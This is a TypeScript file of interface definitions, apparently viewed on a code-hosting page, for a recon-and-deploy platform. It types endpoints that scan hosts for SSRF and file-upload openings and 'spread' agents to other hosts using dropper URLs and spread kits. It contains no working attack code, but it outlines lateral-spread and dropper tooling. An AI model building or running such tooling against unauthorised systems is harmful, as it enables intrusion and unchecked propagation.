export interface ReconDeployKitSpreadZIP {
|
||||
method: string;
|
||||
url: string;
|
||||
note?: string;
|
||||
}
|
||||
|
||||
export interface ReconDeployKitResponse {
|
||||
ok: boolean;
|
||||
host: string;
|
||||
finding?: string;
|
||||
join_lane?: string;
|
||||
matched_service?: string;
|
||||
agent_reachable?: boolean;
|
||||
agent_found?: boolean;
|
||||
agent_id?: string;
|
||||
dropper_urls?: ReconDeployKitDropperURLs;
|
||||
spread_kit_zip?: ReconDeployKitSpreadZIP;
|
||||
spread_template?: { template?: string; method: string; url: string };
|
||||
deploy_plan_template?: Record<string, unknown>;
|
||||
ssm_bundle?: Record<string, unknown>;
|
||||
crucible_link?: string;
|
||||
error?: string;
|
||||
}
|
||||
|
||||
/** POST /api/v1/fleet/spread-to-host — seed discover_and_join toward unreachable IP. */
|
||||
export interface FleetSpreadToHostRequest {
|
||||
host: string;
|
||||
finding?: string;
|
||||
build_id?: string;
|
||||
campaign?: string;
|
||||
join_lane?: string;
|
||||
}
|
||||
|
||||
export interface FleetSpreadToHostResponse {
|
||||
ok: boolean;
|
||||
host: string;
|
||||
join_lane?: string;
|
||||
matched_service?: string;
|
||||
agent_reachable?: boolean;
|
||||
agent_found?: boolean;
|
||||
agent_id?: string;
|
||||
seed_agent_id?: string;
|
||||
seed_agent_name?: string;
|
||||
queued?: boolean;
|
||||
dispatch_error?: string;
|
||||
recommended_command?: string;
|
||||
command_args?: Record<string, unknown>;
|
||||
operator_note?: string;
|
||||
crucible_link?: string;
|
||||
}
|
||||
|
||||
/** POST /api/v1/recon/scan — owned-target browser deploy recon. */
|
||||
|
||||
export interface ReconScanRequest {
|
||||
host: string;
|
||||
port?: number;
|
||||
scheme?: string;
|
||||
paths?: string[];
|
||||
}
|
||||
|
||||
export interface ReconPortResult {
|
||||
port: number;
|
||||
open: boolean;
|
||||
}
|
||||
|
||||
export interface ReconFormFinding {
|
||||
page_url: string;
|
||||
action?: string;
|
||||
method?: string;
|
||||
enctype?: string;
|
||||
fields?: string[];
|
||||
has_file_input?: boolean;
|
||||
multipart?: boolean;
|
||||
}
|
||||
|
||||
export interface ReconURLFieldFinding {
|
||||
page_url: string;
|
||||
name: string;
|
||||
type?: string;
|
||||
hint: string;
|
||||
}
|
||||
|
||||
export interface ReconCrawlReport {
|
||||
pages_fetched: number;
|
||||
pages?: { url: string; status_code: number; title?: string }[];
|
||||
file_inputs?: ReconFormFinding[];
|
||||
multipart_forms?: ReconFormFinding[];
|
||||
url_fields?: ReconURLFieldFinding[];
|
||||
ssrf_score: number;
|
||||
cms_fingerprints?: string[];
|
||||
}
|
||||
|
||||
export interface ReconDeployRecommendation {
|
||||
lane?: string;
|
||||
template?: string;
|
||||
reason: string;
|
||||
priority: number;
|
||||
}
|
||||
|
||||
export interface ReconScanReport {
|
||||
host: string;
|
||||
scanned_at: string;
|
||||
ports: ReconPortResult[];
|
||||
crawl?: ReconCrawlReport;
|
||||
recommendations?: ReconDeployRecommendation[];
|
||||
}
|
||||
|
||||
export type ReconConfidence = 'high' | 'medium' | 'low';
|
||||
|
||||
export interface ReconWebFindingCard {
|
||||
id: string;
|
||||
kind: 'ssrf' | 'file_upload' | 'cms' | 'info';
|
||||
title: string;
|
||||
detail: string;
|
||||
confidence: ReconConfidence;
|
||||
spread_lane?: string;
|
||||
probe_url?: string;
|
||||
mermaid?: string;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user